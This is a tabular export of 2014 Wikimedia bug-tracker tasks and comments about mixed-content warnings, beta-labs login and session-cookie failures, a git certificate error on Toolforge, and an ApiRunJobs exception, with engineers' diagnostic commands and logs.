+It's the images that are causing the warnings, they should be loaded with https, not http.",,,1394472676,,PHID-USER-kwx3xuj7xgppxahjkw66,False,,,PHID-TASK-sbmvedm4s6trh4ryxt4a,task_subcomment,,True,c3,1,False,,,-69,True,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+286745,Wikimedia blog has unsecured elements on https,"One is the information button of ""For versions in other languages, please check the wiki version of this report, or add your own translation there!"", and another is ""‘Tofu’ Detection"". Both are from blog content instead of the software.",,,1394469078,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-sbmvedm4s6trh4ryxt4a,task_subcomment,,True,c3,1,False,,,-69,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,1,1,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0
+64484,intermittent but frequent Login error on beta labs,"click Login button from http://en.wikipedia.beta.wmflabs.org
+
+Login as usual
+
+Get red-box error ""Login error
+There was an unexpected error logging in. Please try again. If the problem persists, it may be because you have cookies disabled, and you should check that they are enabled in your browser settings. ""
+
+No records appear in the fatals log when this happens. 
+
+After a brief inspection, I see this in both automated tests and manual operation, and it happens more frequently manually.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Needs Triage,90.0,1394463240,1394482484.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-3kxddh476wfgf5ssofet,task_description,resolved,True,c3,1,False,False,True,-69,True,0,0,0,1,0,1,1,1,0,1,1,0,0,0,1,1,0,1,1,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,0,1,1,0,1,0,1,1,1,1,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,0
+286609,intermittent but frequent Login error on beta labs,"Earlier today I made a change to be merged which enable memcache writes to both pmtpa and eqiad: https://gerrit.wikimedia.org/r/115623
+
+On beta the sessions are stored in Memcached, unlike production which use a redis backend.  The sessions were only stored on one DC which caused much havoc.
+
+I believe I fixed it with https://gerrit.wikimedia.org/r/#/c/117867/ which made the sessions to be written to both data centers.",,,1394482484,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-3kxddh476wfgf5ssofet,task_subcomment,,True,c3,1,True,,,-69,True,1,0,0,1,0,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,1,0,0
+286599,intermittent but frequent Login error on beta labs,I think Antoine was fixing this as I was reporting it.  It had to do with misconfigured user session caching.  Updates to memcache in pmpta and eqiad should solve this.,,,1394465889,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-3kxddh476wfgf5ssofet,task_subcomment,,True,c3,1,False,,,-69,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+286590,intermittent but frequent Login error on beta labs,"Created attachment 14783
+no active login attempt
+
+**Attached**: {F13030}",,,1394463522,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-3kxddh476wfgf5ssofet,task_subcomment,,True,c3,1,False,,,-69,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+286582,intermittent but frequent Login error on beta labs,"Also upon clicking BACK and logging in again, user is presented with error msg. 
+
+
+Central user log in
+No active login attempt is in progress for your session.
+
+See screen shot",,,1394463486,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-3kxddh476wfgf5ssofet,task_subcomment,,True,c3,1,False,,,-69,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+64432,"tools: ""git error: server certificate verification failed"" for git.wikimedia.org on tools-login-eqiad","Fetching origin
+error: server certificate verification failed. CAfile: /etc/ssl/certs/ca-certificates.crt CRLfile: none while accessing https://git.wikimedia.org/git/mediawiki/core.git/info/refs
+fatal: HTTP request failed
+error: Could not fetch origin
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1394273940,1410294575.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-tavs3475gjmnnhipuvnw,task_description,declined,True,c3,1,True,False,True,-69,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0
+284076,"tools: ""git error: server certificate verification failed"" for git.wikimedia.org on tools-login-eqiad","I can no longer reproduce this on tools-login or tools-dev.  I'm not aware that someone consciously fixed this, so resolving as WORKSFORME.",,,1410294575,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-tavs3475gjmnnhipuvnw,task_subcomment,,True,c3,1,True,,,-43,True,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+284069,"tools: ""git error: server certificate verification failed"" for git.wikimedia.org on tools-login-eqiad",Happened on pronunciationrecording.eqiad.wmflabs too.,,,1395939528,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-tavs3475gjmnnhipuvnw,task_subcomment,,True,c3,1,True,,,-66,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+284063,"tools: ""git error: server certificate verification failed"" for git.wikimedia.org on tools-login-eqiad","Ran ""strace -f"", extracted the following list of filenames, and all are identical on tools-{dev,login}-eqiad:
+
+| /etc/gai.conf
+| /etc/gcrypt/fips_enabled
+| /etc/gitconfig
+| /etc/gnutls/pkcs11.conf
+| /etc/host.conf
+| /etc/hosts
+| /etc/ld.so.cache
+| /etc/ld.so.nohwcap
+| /etc/ld.so.preload
+| /etc/nsswitch.conf
+| /etc/pkcs11/modules
+| /etc/pkcs11/pkcs11.conf
+| /etc/resolv.conf
+| /etc/ssl/certs/ca-certificates.crt
+| /lib/x86_64-linux-gnu/libcom_err.so.2
+| /lib/x86_64-linux-gnu/libcrypt.so.1
+| /lib/x86_64-linux-gnu/libc.so.6
+| /lib/x86_64-linux-gnu/libdl.so.2
+| /lib/x86_64-linux-gnu/libgcrypt.so.11
+| /lib/x86_64-linux-gnu/libgpg-error.so.0
+| /lib/x86_64-linux-gnu/libkeyutils.so.1
+| /lib/x86_64-linux-gnu/libnss_dns.so.2
+| /lib/x86_64-linux-gnu/libnss_files.so.2
+| /lib/x86_64-linux-gnu/libpthread.so.0
+| /lib/x86_64-linux-gnu/libresolv.so.2
+| /lib/x86_64-linux-gnu/librt.so.1
+| /lib/x86_64-linux-gnu/libz.so.1
+| /proc/sys/crypto/fips_enabled
+| /usr/bin/git
+| /usr/lib/git-core/git-remote-https
+| /usr/lib/locale/locale-archive
+| /usr/lib/x86_64-linux-gnu/libasn1.so.8
+| /usr/lib/x86_64-linux-gnu/libcurl-gnutls.so.4
+| /usr/lib/x86_64-linux-gnu/libgnutls.so.26
+| /usr/lib/x86_64-linux-gnu/libgssapi_krb5.so.2
+| /usr/lib/x86_64-linux-gnu/libgssapi.so.3
+| /usr/lib/x86_64-linux-gnu/libhcrypto.so.4
+| /usr/lib/x86_64-linux-gnu/libheimbase.so.1
+| /usr/lib/x86_64-linux-gnu/libheimntlm.so.0
+| /usr/lib/x86_64-linux-gnu/libhx509.so.5
+| /usr/lib/x86_64-linux-gnu/libidn.so.11
+| /usr/lib/x86_64-linux-gnu/libk5crypto.so.3
+| /usr/lib/x86_64-linux-gnu/libkrb5.so.26
+| /usr/lib/x86_64-linux-gnu/libkrb5.so.3
+| /usr/lib/x86_64-linux-gnu/libkrb5support.so.0
+| /usr/lib/x86_64-linux-gnu/liblber-2.4.so.2
+| /usr/lib/x86_64-linux-gnu/libldap_r-2.4.so.2
+| /usr/lib/x86_64-linux-gnu/libp11-kit.so.0
+| /usr/lib/x86_64-linux-gnu/libroken.so.18
+| /usr/lib/x86_64-linux-gnu/librtmp.so.0
+| /usr/lib/x86_64-linux-gnu/libsasl2.so.2
+| /usr/lib/x86_64-linux-gnu/libsqlite3.so.0
+| /usr/lib/x86_64-linux-gnu/libtasn1.so.3
+| /usr/lib/x86_64-linux-gnu/libwind.so.0
+| /usr/share/git-core/templates/
+| /usr/share/git-core/templates/branches
+| /usr/share/git-core/templates/config
+| /usr/share/git-core/templates/description
+| /usr/share/git-core/templates/hooks
+| /usr/share/git-core/templates/hooks/applypatch-msg.sample
+| /usr/share/git-core/templates/hooks/commit-msg.sample
+| /usr/share/git-core/templates/hooks/post-update.sample
+| /usr/share/git-core/templates/hooks/pre-applypatch.sample
+| /usr/share/git-core/templates/hooks/pre-commit.sample
+| /usr/share/git-core/templates/hooks/prepare-commit-msg.sample
+| /usr/share/git-core/templates/hooks/pre-rebase.sample
+| /usr/share/git-core/templates/hooks/update.sample
+| /usr/share/git-core/templates/info
+| /usr/share/git-core/templates/info/exclude
+| /usr/share/locale/en/LC_MESSAGES/git.mo
+| /usr/share/locale/en_US/LC_MESSAGES/git.mo
+| /usr/share/locale/en_US.utf8/LC_MESSAGES/git.mo
+| /usr/share/locale/en_US.UTF-8/LC_MESSAGES/git.mo
+| /usr/share/locale/en.utf8/LC_MESSAGES/git.mo
+| /usr/share/locale/en.UTF-8/LC_MESSAGES/git.mo
+| /usr/share/locale-langpack/en/LC_MESSAGES/git.mo
+| /usr/share/locale-langpack/en_US/LC_MESSAGES/git.mo
+| /usr/share/locale-langpack/en_US.utf8/LC_MESSAGES/git.mo
+| /usr/share/locale-langpack/en_US.UTF-8/LC_MESSAGES/git.mo
+| /usr/share/locale-langpack/en.utf8/LC_MESSAGES/git.mo
+| /usr/share/locale-langpack/en.UTF-8/LC_MESSAGES/git.mo
+| /usr/share/locale/locale.alias
+| /var/run/nscd/socket",,,1394419981,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-tavs3475gjmnnhipuvnw,task_subcomment,,True,c3,1,True,,,-69,True,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,1,0,0,1
+284057,"tools: ""git error: server certificate verification failed"" for git.wikimedia.org on tools-login-eqiad","No differences in relevant packages:
+
+| [tim@passepartout ~]$ for CMD in 'sudo dpkg -l'; do diff <(ssh tools-login.eqiad.wmflabs ""$CMD"") <(ssh tools-dev.eqiad.wmflabs ""$CMD""); done 
+
+| If you are having access problems, please see: https://wikitech.wikimedia.org/wiki/Access#Accessing_public_and_private_instances
+
+| If you are having access problems, please see: https://wikitech.wikimedia.org/wiki/Access#Accessing_public_and_private_instances
+| 28d27
+| < ii  automake                                                    1:1.11.3-1ubuntu2                                   Tool for generating GNU Standards-compliant Makefiles
+| 75d73
+| < ii  dh-autoreconf                                               5ubuntu1                                            debhelper add-on to call autoreconf and clean up after the build
+| 1137a1136
+| > ii  nmap                                                        5.21-1.1ubuntu1                                     The Network Mapper
+| 1215c1214
+| < ii  python-coverage                                             3.4-1ubuntu1                                        code coverage tool for Python
+| ---
+| > ii  python-coverage                                             3.6-1                                               Code coverage measurement for Python
+| 1382a1382
+| > ii  terminatord                                                 1.0.6.0ppa2                                         Terminator daemon
+| [tim@passepartout ~]$",,,1394386176,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-tavs3475gjmnnhipuvnw,task_subcomment,,True,c3,1,True,,,-69,True,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,1
+284050,"tools: ""git error: server certificate verification failed"" for git.wikimedia.org on tools-login-eqiad","Only difference beneath /etc/ssl is in /etc/ssl/certs/java/cacerts which shouldn't affect git clone:
+
+| [tim@passepartout ~]$ for CMD in 'sudo find /etc/ssl -not -type d -print0 | xargs -0r sudo md5sum'; do diff -u <(ssh tools-login.eqiad.wmflabs ""$CMD"") <(ssh tools-dev.eqiad.wmflabs ""$CMD""); done
+
+| If you are having access problems, please see: https://wikitech.wikimedia.org/wiki/Access#Accessing_public_and_private_instances
+
+| If you are having access problems, please see: https://wikitech.wikimedia.org/wiki/Access#Accessing_public_and_private_instances
+| --- /dev/fd/63  2014-03-09 17:25:44.783519345 +0000
+| +++ /dev/fd/62  2014-03-09 17:25:44.784519334 +0000
+| @@ -286,7 +286,7 @@
+|  c9048f79a8f1da62f89b3eeb8c493689  /etc/ssl/certs/b42ff584.0
+|  8a2b0f016146ed5f78f8bdd828772803  /etc/ssl/certs/NetLock_Qualified_=Class_QA=_Root.pem
+|  f130d662fbfeb1ddc4c35d2e0c67a357  /etc/ssl/certs/Camerfirma_Global_Chambersign_Root.pem
+| -750061a18276cd2b4fc8debd90cd947f  /etc/ssl/certs/java/cacerts
+| +321edf0746699c5ac1158632a9ad4ea3  /etc/ssl/certs/java/cacerts
+|  e0a3a4ecbfc76649d2c9f4f0d2773565  /etc/ssl/certs/a2df7ad7.0
+|  47efdfb0853adc341e39d422c96fb36f  /etc/ssl/certs/TC_TrustCenter__Germany__Class_2_CA.pem
+|  485bce6d706a2c6ef08e0d8cfd51760d  /etc/ssl/certs/3c860d51.0
+| [tim@passepartout ~]$",,,1394386016,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-tavs3475gjmnnhipuvnw,task_subcomment,,True,c3,1,True,,,-69,True,1,0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,0,0,1,0,0,1,0,0,1,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1,0,0,1
+284047,"tools: ""git error: server certificate verification failed"" for git.wikimedia.org on tools-login-eqiad","To reproduce:
+
+| [tim@passepartout ~]$ for HOST in tools-{dev,login}-eqiad.wmflabs.org; do ssh ""$HOST"" 'git clone https://git.wikimedia.org/git/pywikibot/compat.git $(mktemp -d)'; done
+
+| If you are having access problems, please see: https://wikitech.wikimedia.org/wiki/Access#Accessing_public_and_private_instances
+| Cloning into '/tmp/tmp.sNGj8sMBod'...
+
+| If you are having access problems, please see: https://wikitech.wikimedia.org/wiki/Access#Accessing_public_and_private_instances
+| Cloning into '/tmp/tmp.e4O2n9lnBB'...
+| error: server certificate verification failed. CAfile: /etc/ssl/certs/ca-certificates.crt CRLfile: none while accessing https://git.wikimedia.org/git/pywikibot/compat.git/info/refs
+| fatal: HTTP request failed
+| [tim@passepartout ~]$
+
+So tools-dev-eqiad works, tools-login-eqiad fails.  But the problem doesn't seem to lie with curl:
+
+| [tim@passepartout ~]$ for HOST in tools-{dev,login}-eqiad.wmflabs.org; do ssh ""$HOST"" 'curl https://git.wikimedia.org/git/pywikibot/compat.git > /dev/null'; done
+
+| If you are having access problems, please see: https://wikitech.wikimedia.org/wiki/Access#Accessing_public_and_private_instances
+|   % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
+|                                  Dload  Upload   Total   Spent    Left  Speed
+| 100  1389  100  1389    0     0  84243      0 --:--:-- --:--:-- --:--:--  113k
+
+| If you are having access problems, please see: https://wikitech.wikimedia.org/wiki/Access#Accessing_public_and_private_instances
+|   % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
+|                                  Dload  Upload   Total   Spent    Left  Speed
+| 100  1389  100  1389    0     0  78147      0 --:--:-- --:--:-- --:--:-- 99214
+| [tim@passepartout ~]$",,,1394291039,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-tavs3475gjmnnhipuvnw,task_subcomment,,True,c3,1,True,,,-69,True,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,1,0,1,0,0,0,0,0,1,1,1,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1
+64280,ApiRunJobs HTTP request and fallback both fail on Wikimedia Labs,"After moving from e52153e to 1e54f0c and running update.php (the latter probably unrelated), piramido.wmflabs.org consistently fails to load pages with an ApiRunJobs error:
+
+[c71ea2c8] /wiki/Special:Random Exception from line 1366 of /srv/mediawiki/includes/api/ApiBase.php: Invalid or stale signature provided
+
+Backtrace:
+
+#0 /srv/mediawiki/includes/api/ApiRunJobs.php(54): ApiBase->dieUsage(string, string, integer)
+#1 /srv/mediawiki/includes/api/ApiMain.php(862): ApiRunJobs->execute()
+#2 /srv/mediawiki/includes/api/ApiMain.php(332): ApiMain->executeAction()
+#3 /srv/mediawiki/includes/Wiki.php(649): ApiMain->execute()
+#4 /srv/mediawiki/includes/Wiki.php(669): {closure}()
+#5 /srv/mediawiki/includes/Wiki.php(451): MediaWiki->triggerJobs()
+#6 /srv/mediawiki/index.php(49): MediaWiki->run()
+#7 {main}
+
+
+It looks like the socket method is failing, probably for the same reason a simple:
+
+curl 'http://piramido.wmflabs.org/w/api.php'
+
+fails on piramido with:
+
+curl: (7) couldn't connect to host
+
+I think Labs currently can't connect to itself with external host names.
+
+There is a fallback that should work, but it's throwing the above exception consistently.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1394056440,1394058346.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-r6akabtmbcy5rlrqwhp3,task_description,resolved,True,c3,1,True,False,True,-70,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,1,1,1,1,1,0,1,1,0,0,1,0,0,1,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+290373,ApiRunJobs HTTP request and fallback both fail on Wikimedia Labs,"Confirmed, that fixes it.  Marking duplicate.
+
+*** This bug has been marked as a duplicate of bug 62092 ***",,,1394058346,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-r6akabtmbcy5rlrqwhp3,task_subcomment,,True,c3,1,True,,,-70,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+290369,ApiRunJobs HTTP request and fallback both fail on Wikimedia Labs,"Try latest, the fallback should have been fixed",,,1394056701,,PHID-USER-dpu5hmqvprhycqlkdzrk,True,,,PHID-TASK-r6akabtmbcy5rlrqwhp3,task_subcomment,,True,c3,1,True,,,-70,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0
+64244,New users not created on loginwiki in Labs,"Noticed this while digging into another bug. In beta, users are not created on loginwiki. So cross-project login isn't working.
+
+The odd thing that I think is happening is that the browser isn't getting all of the cookies that the wiki is setting. Maybe a Varnish issue?
+
+In the beta logs, I see the user is redirected to loginwiki:
+
+0.1661   4.2M  Start request GET /wiki/Special:CentralLogin/start?token=b4bac89e539642795df51e425a974ffc
+HTTP HEADERS:
+HOST: login.wikimedia.beta.wmflabs.org
+
+And then (as it should), loginwiki sets the user's cookies:
+
+loginwiki-9c1ccc4f: 0.1995   8.8M  [cookie] setcookie: ""centralauth_Session"", ""aa2442f2d2e716dc89eb16d1f89f3cfe"", ""0"", ""/"", """", """", ""1""
+loginwiki-9c1ccc4f: 0.2004   8.8M  [cookie] setcookie: ""centralauth_User"", ""TestBug16864'7"", ""1396574220"", ""/"", """", """", ""1""
+loginwiki-9c1ccc4f: 0.2006   8.8M  [cookie] setcookie: ""centralauth_Token"", """", ""1393895820"", ""/"", """", """", ""1""
+
+
+However, in my browser, the only Set-Cookie header is:
+
+Set-Cookie	centralauth_Session=aa2442f2d2e716dc89eb16d1f89f3cfe; path=/; httponly; GeoIP=US:Santa_Clara:37.3541:-121.9552:v4; path=/
+
+When the AutoLogin code runs, loginwiki then has:
+
+
+0.1973   4.2M  Start request GET /wiki/Special:CentralAutoLogin/refreshCookies?type=1x1&wikiid=enwiki&proto=http
+HTTP HEADERS:
+HOST: login.wikimedia.beta.wmflabs.org
+USER-AGENT: Mozilla/5.0 (X11; Linux x86_64; rv:27.0) Gecko/20100101 Firefox/27.0
+ACCEPT: image/png,image/*;q=0.8,*/*;q=0.5
+ACCEPT-LANGUAGE: en-US,en;q=0.5
+DNT: 1
+REFERER: http://en.wikipedia.beta.wmflabs.org/w/index.php?title=Main_Page&gettingStartedReturn=true
+COOKIE: GeoIP=US:Santa_Clara:37.3541:-121.9552:v4; centralauth_Session=aa2442f2d2e716dc89eb16d1f89f3cfe
+X-VARNISH: 497335809, 1267638667
+X-FORWARDED-FOR: 50.136.233.16, 127.0.0.1
+ACCEPT-ENCODING: gzip
+loginwiki-8577f040: 0.1980   4.2M  CACHES: MemcachedPhpBagOStuff[main] MemcachedPhpBagOStuff[message] MemcachedPhpBagOStuff[parser]
+loginwiki-8577f040: 0.2054   5.0M  LocalisationCache: using store LCStoreCDB
+loginwiki-8577f040: 0.2084   5.5M  Fully initialised
+loginwiki-8577f040: 0.2148   5.8M  CentralAuthHooks::onUserLoadFromSession: no User cookie, so unable to check for session mismatch
+
+
+So no session because the centralauth_User cookie is missing.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=62001",Needs Triage,90.0,1393983720,1405453369.0,PHID-USER-doeppszazlm3r7xah4il,False,,False,PHID-TASK-2odqxzvilpkedkhitxfr,task_description,resolved,True,c3,1,True,False,True,-70,True,1,0,0,1,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+288231,New users not created on loginwiki in Labs,"Probably, since it just came back to normal.",,,1405453369,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,True,,,-51,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+288225,New users not created on loginwiki in Labs,Gilles: Isn't that bug 63981?,,,1405452947,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,True,,,-51,True,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0
+288220,New users not created on loginwiki in Labs,"The same symptoms have reappeared for the UploadWizard API test:
+
+https://integration.wikimedia.org/ci/job/UploadWizard-api-commons.wikimedia.beta.wmflabs.org/389/console
+
+Could be a different bug, but the last occurrence of this failure on that particular test led my to this bug.",,,1405445532,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,True,,,-51,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+288215,New users not created on loginwiki in Labs,"Interesting, because we had an occurrence of bug 62288 with the commons api monitor, but it passed on re-run.",,,1394117968,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,False,,,-69,True,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+288210,New users not created on loginwiki in Labs,"Confirmed that beta is once again giving out all the cookies for loginwiki, and so accounts are automatically attached on loginwiki on creation and SUL actually all works now. Thanks for all the help!",,,1394115125,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,True,,,-69,True,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+288205,New users not created on loginwiki in Labs,*** Bug 62288 has been marked as a duplicate of this bug. ***,,,1394113400,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,True,,,-69,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+288201,New users not created on loginwiki in Labs,"Zeljkof confirmed the QA job that had the issue is now passing the login step
+
+ https://wmf.ci.cloudbees.com/job/MultimediaViewer-en.wikipedia.beta.wmflabs.org-linux-firefox/91/
